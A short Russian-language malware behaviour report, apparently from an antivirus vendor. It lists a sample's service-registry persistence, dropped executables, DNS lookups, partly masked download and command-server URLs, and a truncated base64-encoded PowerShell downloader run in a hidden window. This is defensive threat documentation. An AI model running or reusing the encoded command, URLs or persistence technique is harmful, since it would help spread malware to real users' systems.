Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\NlsLexicons001b] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\NlsLexicons001b] 'ImagePath' = '"<SYSTEM32>\remotepg\NlsLexicons001b.exe"'
- 'NlsLexicons001b' "<SYSTEM32>\remotepg\NlsLexicons001b.exe"
- 'NlsLexicons001b' <SYSTEM32>\remotepg\NlsLexicons001b.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABaADYAZQBuADkAawBrAD0AKAAoACcAWQB1ACcAKwAnAHcAJwApACsAKAAnAGkAbQB1ACcAKwAnAGUAJwApACkAOwAmACgAJwBuAGUAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABFAE4AVgA6AHUAUwBFAHIAcABSAG8AZgBJAGwARQBcAE0AdwBnAD...
- %HOMEPATH%\mwg73we\pzq45on\qmb49zmp_.exe
- <SYSTEM32>\remotepg\nlslexicons001b.exe
- %HOMEPATH%\mwg73we\pzq45on\qmb49zmp_.exe в <SYSTEM32>\remotepg\nlslexicons001b.exe
- '19#.#58.216.73':80
- http://mo####ialcoop.com/wp-includes/u1weym/
- http://19#.#58.216.73/k2wZeIhozHoEI/nXtju7Amj9MxF/D1quHbS/kxhcdcp0BSY9bSZ/
- DNS ASK mo####ialcoop.com
- '%HOMEPATH%\mwg73we\pzq45on\qmb49zmp_.exe'
- '<SYSTEM32>\remotepg\nlslexicons001b.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABaADYAZQBuADkAawBrAD0AKAAoACcAWQB1ACcAKwAnAHcAJwApACsAKAAnAGkAbQB1ACcAKwAnAGUAJwApACkAOwAmACgAJwBuAGUAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABFAE4AVgA6AHUAUwBFAHIAcABSAG8AZgBJAGwARQBcAE0AdwBnAD...' (со скрытым окном)